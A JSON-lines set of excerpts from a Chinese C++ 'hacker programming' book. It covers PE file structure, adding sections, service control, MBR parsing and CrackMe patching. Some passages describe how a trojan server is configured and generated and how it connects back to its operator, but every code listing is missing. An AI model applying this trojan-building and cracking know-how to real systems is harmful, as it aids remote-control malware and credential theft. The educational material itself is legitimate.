    {"text": "也许大家会想到360、金山等一些工具，但是这里要介绍的这款工具是微软自己的工具，而且其功能相对来说非常的全面，该工具如图6-4所示。"},
    {"text": "图6-4 Autoruns工具界面 6.1.2 木马的配置生成与反弹端口 由于黑色产业链的供需关系，木马作为商品在网络上有着大量的交易，因此木马必须具备可配置性。"},
    {"text": "一般情况下黑客要把自己的IP地址动态地保存到某个固定的IP地址下（比如保存到网上FTP空间中），然后木马通过读取该IP地址下保存的黑客的IP地址进行连接，同样用图来说明，如图6-7所示。 从图6-7中可以看出，黑客开启木马客户端后，首先会更新服务器上保存着的自己的IP地址。 “小白”会去读取服务器中保存着的黑客的IP地址，然后“小白”去连接“黑客”的主机，主动地让黑客去控制它，这就是木马中的“自动上线”。"},
    {"text": "二、木马的配置生成与配置信息的保护 木马写好以后，通常会发布一个程序，在木马程序中通过配置一些相关的内容和参数后，会生成一个木马的服务器端程序。"},
    {"text": "为什么木马的客户端会生成木马的服务端程序呢？ 其实木 马的客户端和服务端本来就是两个程序，只是通过某种方式使其成为了一个文件而已。 让木马的服务端和客户端成为一个文件可以有多种方法，常见的有资源法和文件附加数据法两种。"},
    {"text": "资源法也就是把服务端以资源的形式连接到客户端的程序中，然后客户端通过一些操作资源的函数将资源读取出来并生成文件。 文件附加数据法是将服务端保存到客户端的末尾，然后通过文件操作函数，直接将服务端读取出来并生成新的文件。"},
    {"text": "也就是说，我们的客户端在把服务端生成以后，会把一些配置信息写入服务端程序的指定位置中，服务端程序会读取指定位置的信息来进行使用。"},
    {"text": "比如，我们在分析盗QQ的木马时会发现接收QQ密码的邮箱，由于现在很多邮箱都需要SMTP的验证，因此在配置信息中也会看到邮箱的账号及密码信息。 这样配置信息中的这些敏感信息很容易被人获取到，甚至接收QQ密码邮箱的账号和密码也会被别人获取到，真是“偷鸡不成蚀把米”。"},
    {"text": "对于此类情况，正确的做法是对配置信息进行加密。 也就是说客户端往服务端中写配置信息前需要加密后再写入，而服务端在使用这些信息前需要先解密再使用。 关于配置生成客户端与配置信息的保护上面已经介绍得差不多了，接下来应该把重点放在代码的实现上了。"},
    {"text": "需要设置的配置信息有IP地址和端口号，把这两个信息都写入服务器端程序。 先来定义一个结构体，结构体如下： 下面写一个模拟的简单的服务端程序，具体代码如下： 上面的代码就是服务端读取配置文件的代码，把文件指针移动到配置信息处，然后直接读取出来，让服务端连接配置信息中的IP地址就可以了。"},
    {"text": "把模拟的服务端编译连接好以后添加入这个模拟客户端的资源里，添加方法是在VC中的资源选项卡中单击鼠标右键，在弹出的菜单中选择“Import…”命令，如图6-9所示。 然后在弹出的对话框中选择编译好的模拟服务端程序，如图6-10所示。"},
    {"text": "会出现一个输入自定义资源类型的对话框，输入“IDC_MUMA“，如图6-11所示。 图6-8 模拟客户端窗口布局 图6-9 添加资源 图6-10 选中编译好的程序 图6-11 自定义资源类型对话框 单击“OK”按钮，就将其添加入资源对话框中了，如图6-12所示。 图6-12 资源选项卡 做好这些准备工作以后，就可以开始写代码了。"},
    {"text": "给“生成”按钮添加如下代码： 编译连接并运行这个程序，输入配置程序，单击“生成”按钮，会生成一个muma.exe的程序，然后运行这个程序就会输出配置信息的内容，如图6-13所示。"},
    {"text": "(4) LockResouce()函数的作用是将资源锁定，并返回其起始位置的指针，该函数定义如下： 上面介绍了关于使用资源来将两个程序合并为一个程序的方法。"},
    {"text": "PE头文件分为32位和 64位。 64位的PE结构是对32位的PE结构做了扩展,这里主要讨论32位的PE文件结构。 对于64位的PE文件结构大家可以自行查阅资料进行学习。"},
    {"text": "虽然DOS头是为了装载DOS程序的,但是DOS头部中的一个字段保存着指向PE头部的位置。 DOS头在Winnt.h头文件中被定义为IMAGE_DOS_HEADER,该结构体的定义如下: 在该结构体中，有两个字段需要注意,分别是第一个字段e_magic,和最后一个字段e_lfanew字段。"},
    {"text": "在VC下创建一个简单的“Win32 Application”程序（注意,这次创建的不是控制台程序,创建程序的方法类似,这里就不再介绍创建工程的步骤了）,用来学习PE结构。"},
    {"text": "程序代码如下: 由于创建的工程是“Win32 Application”的程序,而不是控制台的程序,因此主函数是 WinMain(),而不是main()了。 WinMain()函数有4个参数,具体参数的含义请参考MSDN,这里就不进行介绍了。"},
    {"text": "C32Asm是一个反汇编与十六进制编辑于一体的程 序，其界面如图4-2所示。 图4-2 C32Asm程序界面 在这里选择“十六进制模式”单选项,单击“确定”按钮，打开十六进制编辑模式，如图4-3所示。 图4-3 十六进制编辑状态下的C32Asm 在图中可以看到，在文件偏移为0×00000000的位置处保存着两个字节的内容0×5A4D,用ASCII表示则是“MZ”。"},
    {"text": "保存的是0×C800000000吗？ 如果是这样就错了,CPU架构使用的是小尾方式，系统对数据的存放始终是高位存放高字节，低位存放低字节，因此该处保存的是 0×000000C8。 大家查看一下0×000000C8这个位置保存的内容是50 45 00 00,与之对应的 ASCII字符为“PE\\0\\0”。"},
    {"text": "然后单击右键选择“填充”命令，在弹出的“填充数据”的对话框中，选中“使用十六进制填充”单选钮，在其后的编辑框中输入“00”,单击“OK”按钮,该过程如图4-4、图4-5所示。 图4-4 填充数据 图4-5 填充后的数据 把DOS存根部分填充完以后,单击工具栏上的“保存”按钮对修改内容进行保存。"},
    {"text": "4.2.2 PE头部详解IMAGE_NT_HEADERS DOS头是为了兼容DOS系统而遗留的,在DOS头中的最后一个字段给出了 PE头的位置。 PE头部是真正用来装载Win32程序的头部,PE头的定义为IMAGE_NT_HEADERS,该结构体包含PE标识符、文件头与可选头这三部分。 IMAGE_NT_HEADERS是一个宏，其定义如下: 该头分为32位与64位,看是否定义了_WIN64。 我们只讨论32位的PE文件格式,因此来看一下IMAGE_NT_HEADER32的定义,该定义如下: 该结构体中的Signature就是PE标识符,该标识符标识该文件是否是PE文件。"},
    {"text": "这里在Winnt.h中有一个宏定义，定义如下: 该值非常重要，简单地判断一个文件是否是PE文件,首先要判断DOS头部的开始字节是否是“MZ”,然后通过DOS头部找到PE头,接着判断PE头部的前四个字节是否为“PE\\0\\0”,如果是的话,则可以说明该文件是一个有效的PE文件。"},
    {"text": "该字段指定 IMAGE_OPTIONAL_HEADER结构的大小。 在图4-6中,该字段的值为“E0 00”,即“0×00E0”,也就是说IMAGE_OPTIONAL_HEADER的大小为 0×E0。 注意,在计算 IMAGE_OPTIONAL_HEADER的大小时应该从IMAGE_FILE_HEADER结构中的 SizeOfOptionalHeader获取，而不应该直接使用sizeof（IMAGE_OPTIONAL_HEADER）获取。 由该字段可以看出IMAGE_OPTIONAL_HEADER结构体的大小可能是会改变的。"},
    {"text": "可选头紧挨着文件头，文件头的结束位置为0×000000DF,那么可选头的起始位置为 0×000000E0。 可选头的大小在文件头中给出,其大小为0×00E0字节（十进制为224个字节),其结束位置为0×000000E0+ 0×00E0-1=0×000001BF,如图4-9所示。"},
    {"text": "该头同样有32位与64位版本之分,IMAGE_OPTIONAL_HEADER是一个宏,该宏的定义如下: 32位版本与64位版本的选择是根据是否定义了_WIN64而决定的,这里只讨论其32位的版本,IMAGE_OPTIONAL_HEADER32的定义如下: 该结构体的成员变量非常之多，为了能够很好地掌握该结构体，这里对该结构体的成员变量进行一一介绍。"},
    {"text": "（13） MajorOperatingSystemVersion:要求最低操作系统的主版本号。 （14） MinorOperatingSystemVersion:要求最低操作系统的次版本号。 （15） MajorImageVersion:可执行文件的主版本号。 （16） MinorImageVersion:可执行文件的次版本号。 （17） MajorSussystemVersion:要求最低子系统的主版本号。 （18） MinorSubsystemVersion:要求最低子系统的次版本号。"},
    {"text": "（25） SizeOfStackReserve:为线程保留的栈大小。 （26） SizeOfStackCommit:为线程已经提交的栈大小。 （27） SizeOfHeapReserve:为线程保留的堆大小。 （28） SizeOfHeapCommit:为线程已经提交的堆大小。"},
    {"text": "（30） NumberOfRvaAndSizes:数据目录项的个数。 该个数在PSDK中有一个宏定义，定义如下: （31）DataDirectory:数据目录表，由NumberOfRvaAndSize个IMAGE_DATA_DIRECTORY结构体组成。"},
    {"text": "数据目录中的部分成员在数组中的索引如图4-12所示。 图4-12 数据目录部分成员在数组中的索引 在数据目录中，并不是所有的目录项都会有值，有很多目录项的值都为0。"},
    {"text": "这个可选头的结构体就介绍完了，希望大家按照对结构体中各成员变量的掌握自行学习可选头中的十六进制的字段，这样有助于我们对PE文件格式的分析，加快对PE文件格式的掌握。"},
    {"text": "4.2.5 节区详解IMAGE_SECTION_HEADER 节表的位置在IMAGE_OPTIONAL_HEADER的后面，节表中的每个 IMAGE_SECTION_HEADER中都存放着可执行文件被映射到内存中所在位置的信息，节的个数由IMAGE_FILE_HEADER中的NumberOfSections给出，希望大家没有忘记。"},
    {"text": "图4-13 IMAGE_SECTION_HEADER位置的数据内容 IMAGE_SECTION_HEADER的结构体起始位置在0×000001CO处，结束位置在 0×00000237处，IMAGE_SECTION_HEADER的大小为40个字节，该文件有3个节表，因此占用了120个字节。 IMAGE_SECTION_HEADER结构体的定义如下： 这个结构体相对于IMAGE_OPTIONAL_HEADER来说成员变量少很多，下面逐一进行介绍。"},
    {"text": "4.2.6 与PE结构相关的3种地址 下面介绍一下与PE结构相关的3种地址，分别是VA（虚拟地址）、RVA（相对虚拟地址）和FileOffset（文件偏移地址）。 VA（虚拟地址）：PE文件映射到内存后的地址。 RVA（相对虚拟地址）：相对虚拟地址是内存地址相对于映射基地址的偏移地址。"},
    {"text": "所不同的是，在磁盘上文件是按照IMAGE_OPTIONAL_HEADER的FileAlignment值进行对齐的。 而在内存中，映像文件是按照IMAGE_OPTINAL_HEADER的SectionAlignment进行对齐的。"},
    {"text": "FileAlignment是按照磁盘上的扇区为单位的，也就是说FileAlignment最小为512字节，十六进制的0×200字节。 而SectionAlignment是按照内存分页为单位来对齐的，其值为4KB,也就是十六进制的0×1000字节。 一般情况下，FileAlignment的值会与SectionAlignment的值相同，这样磁盘文件和内存映像的结构是完全一样的。 当FileAlignment的值和SectionAlignment的值不相同的时候就存在一些细微的差异了，其差异的主要区别在于，根据对齐的实际情况而多填充了很多0值。"},
    {"text": "图4-15 PE文件映像 4.2.7 3种地址的转换 当FileAlignment和SectionAlignment的值不相同时，磁盘文件与内存映像的同一数据在磁盘和内存中的偏移也不相同，这样两个偏移就发生了一个需要转换的问题。"},
    {"text": "图4-16 节表内容 从图4-16的标题栏可以看到，这里不叫“节表”而叫“区段”，还有别的资料上称之为 “区块”，这个只是叫法不同，内容都是一样的。"},
    {"text": "测试验证一下这个程序，看到“V.偏移”与“R.偏移”相同，则说明磁盘对齐与内存对齐是一样的，这样，就没办法完成演示转换的工作了。"},
    {"text": "现在可以看到“V.偏移”与“R.偏移”的值不相同了，它们的对齐值也不相同了，大家可以自己验证一下FileAlignment和SectionAlignment的值是否相同。"},
    {"text": "图4-17 LordPE界面 图4-18 重建PE功能结果 图4-19 重建PE后的节表 先用OD打开未进行重建PE的测试程序，找到MessageBox()处要弹出的两个对话框的地址,如图4-20、图4-21所示。"},
    {"text": "图4-20 MessageBox0函数中所使用的字符串地址 图4-21 两个字符串的地址 从图4-20和图4-21中可以看到，字符串“hello world!”的虚拟地址（VA）为0×00405030。"},
    {"text": "由于 SectionAlignment与 FileAlignment的值相同，因此其FileOffset的值也为0×00005030,用C32ASM打开该文件查看0×00005030处，如图4-22所示。 图4-22 文件偏移0×00005030处的内容为“hello world!”字符串 从这个例子中可以看出，当SectionAlignment和FileAlignment相同时,同一数据的RVA （相对虚拟地址）和FileOffset（文件偏移地址）相同。"},
    {"text": "虚拟地址是0×00405030,那么同样的用虚拟地址减去装载地址，相对地址的值仍然为 0×00005030。 用C32ASM打开该文件，看一下0×00005030地址处的内容，如图4-23所示。 图4-23 文件的末尾地址 从图中可以看到，用C32ASM打开该文件后，文件的末尾偏移为0000379C,根本没有 0×00005030这个偏移地址。"},
    {"text": "这个时候，就要通过一些简单的计算把RVA转换FileOffset。 把RVA转换为FileOffset的方法很简单，首先要看一下当前的RVA或者是FileOffset属于哪个节。"},
    {"text": "0×00005030这个RVA属于.data节。 0×00005030这个RVA相对于该节的起始RVA地址0×00005000来说偏移0×30个字节。 再看.data节在文件中的起始位置为0×00003400,以.data节的文件起始偏移0×00003400加上0×30个字节的值为0×00003430。 用C32ASM看一下0×00003430这个地址处的内容，如图4-24所示。 图4-24 0×00003430文件偏移处的数据内容 从图4-24可以看出，该文件偏移处保存着“hello world!”字符串，也就是说将RVA转换为FileOffset是正确的。"},
    {"text": "某数据的文件偏移=该数据所在节的起始文件偏移+（某数据的RVA-该数据所在节的起始RVA）。 除了上面的计算方法以外，还有一种计算方法，把节的起始RVA值减去节的起始文件偏移值，得到一个差值。 然后再用RVA减去这个得到的差值就可以得到其所对应的FileOffset了。"},
    {"text": "在“我的电脑”上单击鼠标右键，然后在弹出的菜单上选择“管理”命令会打开“计算机管理”工具，单击左侧树形列表中的“服务和应用程序”会出现一个列表，选择“服务”则在右侧出现了服务项列表，如图3-6所示。 图3-6 Windows下的服务管理程序 在这个列表中，只能查看到Win32应用程序的服务，无法查看关于驱动程序的服务。"},
    {"text": "这里笔者强调一下，学习API函数的使用，最好的老师是MSDN。 在大家学习编程的道路上，要通过阅读大量的代码来提高自己的编程能力，那时大家就要自行学习API函数的使用，因此希望大家能养成好的学习习惯，也就是自己能够独立查阅MSDN来进行API函数的使用。"},
    {"text": "我们要枚举的服务分为“Win32服务应用程序”和“驱动程序”两类。 对于枚举这两类服务，只是枚举函数的参数有所不同，这个函数参数是系统定义的两个常量，定义分别如下： 看一下服务枚举时的代码： 该成员函数有一个参数，这个参数就是用来指明是枚举“Win32应用程序服务”，还是用来枚举“驱动程序服务”的。 也就是我们前面提到的两个系统定义的常量了，参数根据两个常量的不同，枚举到的服务也不同。 3.4.3 枚举服务的相关API函数 打开服务管理器： 参数说明如下。"},
    {"text": "（1） lpMachineName：指向欲打开服务控制管理器数据库的目标主机名，本机则设置为NULL。 （2） lpDatabaseName：指向了目标主机SCM数据库名字的字符串。"},
    {"text": "ENUM_SERVICE_STATUS结构的定义： SERVICE_STATUS结构的定义： 3.4.4 服务的停止 对于枚举到的服务，对我们来说只有两种操作，一种是启动服务，另一种是停止服务。"},
    {"text": "系统中有很多我们不用的服务，它会随着电脑的启动而启动，这样既会影响系统的启动速度，也会占用宝贵的系统资源，因此，没用的系统服务要停掉。"},
    {"text": "3.4.6 服务的启动 启动服务的代码与停止服务的代码类似。 这里简单地给出启动服务的部分代码，具体的代码自己动手写写。 启动服务的部分代码如下： 启动服务相关API函数解释： 参数说明如下。 （1） hService：指定了要启动服务的句柄。 （2） dwNumServiceArgs：指向了启动服务所需的参数个数。 （3） lpServiceArgVectors：指向了启动服务的参数。"},
    {"text": "C++黑客编程揭秘与防范 4.8 文件补丁及内存补丁 4.8.1 文件补丁 用OD修改CrackMe是比较容易的，如果脱离OD该如何修改呢？其实在OD中修改了反汇编的指令以后，对应的在文件中修改的是机器码。只要在文件中能定位到指令对应的机器码的位置，那么直接修改机器码就可以了。JNZ对应的机器码指令为0×75, JZ对应的机器码指令为0×74。也就是说，只要在文件中找到这个要修改的位置，用十六进制编辑器把0×75修改为0×74即可。如何能把这个内存中的地址定位到文件地址呢？这就是前面介绍的PE文件结构中把VA转换FileOffset的知识了。 具体的手动步骤大家自己尝试，我们直接通过写代码进行修改吧。为了简单起见，这里使用控制台来编写，而且直接对文件进行操作，中间的步骤就省略了，想必有了思路以后对于大家来说已经不是难事了。 看一下关于文件补丁的代码： 代码给出了详细的注释，只需要把CrackMe文件拖放到文件补丁上即可，如图4-61所示。 图4-61 对CrackMe进行文件补丁 通常，在做文件补丁以前一定要对打算进行修改的位置进行比较，以免产生错误的修改。程序使用的方法是将要修改的部分读出来，看是否与用OD调试时的值相同，如果相同则打补丁。由于这里只是介绍编程知识，针对的是一个CrackMe。如果对某个软件进行了破解，自己做了一个文件补丁发布出去给别人使用，不进行相应的判断就直接进行修改，很有可能导致软件不能使用的情况，因为对外发布以后你不能确认别人所使用的软件的版本等因素。因此，在进行文件补丁时最好判断一下，或者是用CopyFileO对文件进行备份。 4.8.2 内存补丁 相对于文件补丁来说，还有一种补丁是内存补丁。这种补丁是把程序加载到内存中以后对其进行修改，也就是说本身是不对文件进行修改的。要将CrackMe载入内存中，载入内存可以调用CreateProcess()这个API函数来完成，这个函数参数众多，功能强大。使用CreateProcess()创建一个子进程，并且在创建的过程中将该子进程暂停，那么就可以安全地使用WriteProcessMemory()函数来对CrackMe进行修改了。整个过程也比较简单，下面直接来阅读源代码。 代码中的注释也比较详细，代码的关键是要进行比较，否则会造成程序的运行崩溃。在进行内存补丁前，需要将线程暂停，这样做的好处是有些情况下可能没有机会进行补丁就已经执行完需要打补丁的地方了。当打完补丁以后，再恢复线程继续运行就可以了。 文件补丁与内存补丁就已经介绍完了。对于这两种补丁来说，都是通过前面学到的知识来完成的，可见前面的基础知识的用处还是非常广泛的。用了这么多的篇幅来介绍使用OD破解CrackMe，也介绍了文件补丁和内存补丁，那么，接下来就要开始学习调试API了。掌握了调试API以后，完全可以打造一个类似于OD这样的应用程序调试器。让我们一步一步学习吧。"},
    {"text": "C++黑客编程揭秘与防范 3.1 文件 在Windows下文件有很多种，比如图片文件、视频文件、音频文件……除了常见的文件格式外，其实对于管道、邮槽，甚至是设备对象，在Windows下也被当做文件来对待，这样对于我们操作管道、邮槽、设备对象就像操作文件一样简单了。 对于操作任何文件，我们最先的操作是对文件的打开，操作结束时为了释放资源要进行关闭。我们依次学习如何使用这些API函数，然后完成一个简单的小例子。从“文件操作”开始，我们要接触MFC方面的编程，但不会很难，都是一些对界面和控件之类的使用。 3.1.1 打开文件 要对文件进行操作，就要首先对文件进行打开操作，文件打开成功会返回一个句柄，然后通过这个句柄对文件进行读写操作。 打开文件的API函数如下定义： 参数说明如下。 （1） lpFileName：要打开或创建的文件名。这里也可以不是文件名，可以是管道名、设备对象名。 （2） dwDesiredAccess：对文件的访问模式，通常是GENERIC_READ和GENERIC_WRITE。 （3） dwShareMode：对文件的共享模式。Windows是多进程的操作系统，在一个文件被访问时，可能会有另一个进程也访问该文件。这时第一个打开该文件的进程就要对其设置一个访问模式，即打开此文件后，其他进程对该文件可以有哪些操作。 （4） lpSecurityAttributes：安全属性，一般为NULL。 （5） dwCreationDisposition：在创建或打开的文件存在或不存在时该函数的处理方式。 （6） dwFlagsAndAttributes：打开或创建文件时的标志和属性。一般是FILE_ATTRIBUTE_NORMAL。 （7） hTemplateFile：文件模板，一般为NULL。 该函数若执行成功，则返回一个文件句柄；若执行失败，则返回INVALID_HANDLE_VALUE。 在对文件使用完毕后，应该对打开的句柄进行关闭以释放资源，关闭句柄的函数如下： 该函数就一个参数，这个参数就是调用CreateFile()函数时的返回值，也就是文件句柄。 3.1.2 文件操作 文件操作的种类有4种，分别是“增、删、改、查”。熟悉数据库操作的读者一定感觉这4种操作是针对数据库的，怎么对于文件的操作也是这4种呢？其实，不单单是对文件的操作，对注册表的操作，对服务的操作，对进程的操作……也都存在着“增、删、改、查”这些操作。还是讨论文件的这4种操作，文件的“增”其实就是“创建”文件，文件的“删”就是“删除”文件，文件的“改”就是对文件的“写”操作，文件的“查”就是对文件的“读”操作。当然了，对于文件的“读操作”分为狭义的和广义的两种。狭义的“读文件”就是读取文件的内容，对于广义的“读文件”来说，可以是读取文件的大小、读取文件的创建时间和修改时间……文件的创建是通过CreateFile()函数来完成的，文件的打开也是通过CreateFile()函数来完成。对于删除文件、写文件、读文件……这些API函数，下面将逐一进行介绍。 删除文件的API函数如下： 该函数的参数就只有一个，而且非常简单，就是要删除的文件的文件名。 文件的读函数如下： 参数说明如下。 (1) hFile：该参数是CreateFile()函数返回的句柄。 （2） lpBuffer：指向一个缓冲区，函数会将从文件中读出的数据保存在该缓冲区中。 （3） nNumberOfBytesToRead：要求读入的字节数，通常情况下是缓冲区的大小。 （4） lpNumberOfBytesRead：该参数是一个指向DWORD类型的变量，用于返回实际读入的字节数。 （5） lpOverlapped：一般设为NULL。 文件的写函数如下： WriteFile()函数与ReadFile()函数的参数意义基本相同，所不同的是第二个参数，第二个参数仍然指向一个缓冲区，函数会将该缓冲区的内容写入到文件中。 设置文件指针的函数如下： 参数说明如下。 (1) hFile：CreateFile()函数打开文件的句柄。 （2） lDistanceToMove：指定要移动的距离。 （3） lpDistanceToMoveHigh：一个指向LONG型的指针，其保存一个要移动的距离的高32位。 （4） dwMoveMethod：指定移动的起始位置。 创建目录的函数如下： 参数说明如下。 （1） lpPathName：创建目录的目录名称； （2） lpSecurityAttributes：一般为NULL。 移除目录的函数如下： 该函数的参数指定要移除的目录的目录名。 关于文件操作的函数就简单介绍这么几个，在以后的内容中将继续介绍。文件操作是Windows下编程的重要基础，应用非常广泛，希望读者能掌握以上介绍的函数。"},
    {"text": "C++黑客编程揭秘与防范 4.5 地址转换器 前面介绍了关于PE文件的3种地址，分别是VA（虚拟地址）、RVA（相对虚拟地址）和FileOffset（文件偏移地址）。3种地址的转换如果始终使用手动来计算那是非常累的，因此通常的做法是借助工具来完成。前面介绍了使用LordPE来计算这3种地址的转换，现在来编写一个对这3种地址进行转换的工具。该工具如图4-33所示。 图4-33 地址转换器 这个工具是在前两个工具的基础上完成的。因此，在进行计算的时候，应该先要进行“查看”，然后再进行“计算”。否则，该获取的指针还没有获取到。 在界面上，左边的3个按钮是“单选框”，单选框的设置方法如图4-34所示。 图4-34 对单选框的设置 3个单选框中只能有一个是选中状态，为了记录哪个单选框是选中状态，在类中定义一个成员变量m_nSelect。分别对3个单选框使m_nSelect为1、2和3三个值。关于界面的编程大家自己参考源代码，这里就不进行过多的介绍了。来看主要的代码。 在单击“计算”按钮后，响应该按钮的代码如下： 分别看一下GetAddr()、GetAddrInSecNum()和 CalcAddr()的实现。 获取在编辑框中输入的地址内容的代码： 获取该地址所属的第几个节的代码： 计算其他地址的代码： 代码都不复杂，关键就是在CalcAddr()中3种地址的转换。如果没能理解代码，那么请参考前面手动转换3种地址的方法。这里就不进行介绍了。"},
    {"text": "添加一个节区的方法有4个步骤，第1个步骤是在节表的最后面添加一个 IMAGE_SECTION_HEADER,第 2个步骤是更新 IMAGE_FILE_HEADER中的 NumberOfSections字段，第3步是更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段，最后一步则是添加文件的数据。"},
    {"text": "4.6.1 手动添加一个节区 先来进行一次手动添加节区的操作，手动添加节区的过程是一个让我们熟悉上述步骤的过程。 在网上有很多现成的添加节区的工具，我们自己编写工具的目的是掌握和了解其实现方法，锻炼我们的编程能力； 手动添加节区是为了巩固前面的知识，熟悉添加节区的步骤。"},
    {"text": "图4-35 节表位置信息 从图中可以看到该PE文件有3个节表，直接看十六进制信息可能很不方便，为了直观方便地查看节表中IMAGE_SECTION_HEADER的信息，那么使用LordPE来进行查看，如图4-36所示。 图4-36 使用LordPE查看该节表信息 用LordPE工具查看的确直观多了。"},
    {"text": "回顾一下IMAGE_SECTION_HEADER结构体的定义，定义如下： IMAGE_SECTION_HEADER结构体的成员很多，但是真正要使用的就只有6个，分别是Name、VirtualSize、VritualAddress、SizeOfRawData、PointerToRawData和 Characteristics。"},
    {"text": "回到C32ASM中，在最后一个节表的位置处开始添加内容，首先把光标放到右边的ASCII字符中，输入“.test”，如图4-37所示。 图4-37 添加\".test\"节名 接下来在00000240位置处添加节的大小，该大小直接是对齐后的大小即可。"},
    {"text": "不知道大家是否还记得前面提到的字节顺序的问题，在C32ASM中添加时，正确的添加应当是“00 10 00 00”,以后添加时也要注意字节顺序，在添加后面几个成员时，不再提示注意字节顺序，大家应时刻清楚这点。"},
    {"text": "顺便要把VirutalAddress也添加上，VirtualAddress的值是前一个节区的起始位置加上上一个节对齐后的长度的值,上个节区的起始位置为0×5000,上个节区对齐后的长度为0×1000,因此新节区的起始位置为0×6000。"},
    {"text": "添加VirtualSize和VirtualAddress后如图4-38所示。 图4-38 添加VirtualSize和 VirtualAddress 接下来的两个字段分别是SizeOfRawData和PointerToRawData,这两个字段的添加方法类似前面两个字段的添加方法，这里就不细说了，分别要添加“0×6000”和“0×1000”两个值,如图4-39所示。 图4-39 添加SizeOfRawData和PointerToRawData PointerToRawData后面的12个字节都可以为0,只要修改最后4个字节的内容，也就是 Characteristics的值即可，这个值直接使用上个节区的值即可，实际添加时应根据所要节的属性给值，这里为了省事而直接使用上个节区的属性，如图4-40所示。 图4-40 添加Characteristics 整个节表需要添加的地方就添加完成了，接下来需要修改该PE文件的节区数量了，当前节区数量是3,这里要修改为4。"},
    {"text": "由于新添加了节区，那么应该把该节区的大小加上SizeOflmage的大小，即为新的SizeOflmage的大小。 现在的SizeOflmage的大小为0×6000,加上新添加节区的大小为0×7000。"},
    {"text": "SizeOflmage的位置请自行查找，修改如图4-42所示。 图4-42 修改SizeOflmage的值为0×70000 对于修改PE结构字段的内容都已经做完了，最后一步就是要添加真实的数据了，由于这个节区不使用，因此填充0值就可以了，文件的起始位置为0×6000,长度为0×1000。 把光标移到文件的末尾，单击菜单“编辑”-> “插入数据”命令，在插入数据大小文本框中输入十进制的4096,也就是十六进制的0×1000,如图4-43所示。 图4-43 “插入数据”对话框的设置 单击“确定”按钮，可以看到在刚才的光标处插入了很多0值，这样我们的工作也完成了，单击“保存”按钮进行保存，提示是否备份，选择“是”。"},
    {"text": "然后用LordPE查看一下添加节区的情况，如图4-44所示。 图4-44 添加新的节区信息 对比一下前后两个文件的大小，如图4-45所示。 图4-45 添加节区前后文件的大小 从图4-45中可以看出，添加节区后的文件比原来的文件大了4KB,也就是添加了4096个字节的0值的原因。"},
    {"text": "4.6.2 通过编程添加节区 通过编程添加一个新的节区无非就是文件相关的操作，只是多了一个对PE文件的解析而已。 添加节区的步骤和手动添加节区的步骤是一样的,只要一步一步按照上面的步骤写代码就可以了。 在开始写代码前，首先修改一下FileCreate()这个函数中的部分代码，修改代码如下: 在这里，要把SEC_IMAGE这个值注释掉,因为要修改内存文件映射,有这个值会使添加节区失败，因此要将其注释掉或者删除掉。"},
    {"text": "图4-46 添加节区界面 首先来编写“添加”按钮响应事件，代码如下: 按钮事件中最关键的地方是AddSec()这个函数，该函数有两个参数,分别是添加节的名称与添加节的大小。"},
    {"text": "这两个函数非常简单，代码如下所示： 整个添加节区的代码就完成了，仍然使用最开始的那个简单程序进行测试，看是否可以添加一个节区，如图4-47所示。"},
    {"text": "其实PE文件结构还有很多比较重要的内容，但是这里只介绍了一些基础的知识，至于其他的内容请大家自行学习。 PE结构查看器最关键的是兼容性，PE结构是可以进行各种变形的，常规的PE结构也许比较好解析，但是经过变形的PE结构解析起来就可能会出错，因此要不断地尝试去解析不同的PE文件结构，PE查看器兼容性才会不断地完善。"},
    {"text": "这就好比数据恢复一样，数据恢复高手绝对不是通过数据恢复工具来进行的，虽然高手们也在使用工具，但是如果遇到较为复杂的情况，数据恢复工具可能就会显得无力，那么手动分析分区格式将是唯一的方法。"},
    {"text": "C++黑客编程揭秘与防范 6.5 引导区解析 很多病毒会感染磁盘的引导区，这导致了病毒在系统启动前就会执行病毒。 关于引导型的病毒这里不多作介绍，只简单介绍一下引导区的知识，并写一个程序来简单地解析一下引导区。"},
    {"text": "打开WinHex，并打开磁盘，如图6-35、图6-36和图6-37所示。 图6-35 WinHex工具栏图6-36选择物理磁盘 图6-36 选择物理磁盘 图6-37 打开后的位置 当打开磁盘后，会看到很多密密麻麻的十六进制数据，这些数据很像学习PE文件结构时的情况。"},
    {"text": "再来看一下Windows的磁盘签名，如图6-39所示。 图6-39 MBR中的Windows磁盘签名 在图6-39中被选中的位置就是Windows的磁盘签名，它的位置在紧接引导程序的第4个字节。"},
    {"text": "Windows磁盘签名对于MBR来说不是必须的，但是对于Windows系统来说是必须的，它是Windows系统在初始化时写入的，Windows依靠磁盘签名来识别硬盘，如果该签名丢失则Windows认为该磁盘没有被初始化。"},
    {"text": "硬盘中的磁盘可以分为主磁盘分区和扩展分区，使用过DOS命令中的FDISDK的话应该很清楚。 通常情况下，主分区是C盘。 在系统中除了C盘以外，还可能存在D盘、E盘、F盘等分区，这3个分区都是从扩展分区中分配出来的，而这些分区并不在MBR中保存。 右键单击“我的电脑”，在菜单中选择“管理”命令将出现“计算机管理”这个程序，选择“磁盘管理”，显示如图6-41所示的窗口。 图6-41 磁盘管理 从图6-41中可以看出，在磁盘上，D盘、E盘、F盘、G盘的周围有一个绿色的框，这个框就表示为扩展分区。"},
    {"text": "图6-42 模板管理器 在“模板管理器”对话框中双击“Master Boot Record”，也就是主引导记录，出现如图 6-43所示的MBR的偏移解析器。 图6-43 MBR偏移解析器 在图6-43中可以清晰地看到两个分区表项的内容，分别是Partition Table Entry #1和 Partition Table Entry #2。"},
    {"text": "在MBR中偏移0×lC2的位置处保存的值为0×07，这个值表示的是分区的类型，0×07表示该值为NTFS的系统文件格式。 在偏移0×lC6的位置处保存的值为63，该值表示在本分区前使用了多少个扇区，这里表示当前分区前使用了63个扇区。 最后一个0×lCA处保存的值为16386237，该位置表示本分区的总扇区数。"},
    {"text": "一个扇区有512个字节数，那个16386237个扇区是多大呢？ 我们计算一下，首先用 16386237×512求出本扇区占多少字节。 通过计算获得本分区所占字节数为8389753344字节，那么字节如何转换成GB呢？ 这是一个简单的公式，1024字节等于1KB，1024KB等于 1MB，1024MB等于1GB，那么做一个简单的除法就可以了。 用8389753344/1024/1024/1024就得出了当前分区是多少个GB了，得出的结果如图6-44所示。 图6-44 第一个分区的大小 从图6-44可以看出，当前的分区占用了7.81个GB的大小（C盘大小为7.81GB）。"},
    {"text": "6.5.2 通过程序解析MBR 对于我们来说，解析MBR可能不会有太大的问题，因为前面解析过PE文件结构。 虽然解析过PE文件，但是还是有一些微小的几点差别，首先造成解析困难的一点是MBR没有给出具体的结构体。 当初分析PE文件结构时，各个结构体在WinNt.h头文件中都有给出定义，而MBR的定义是没有给出的。"},
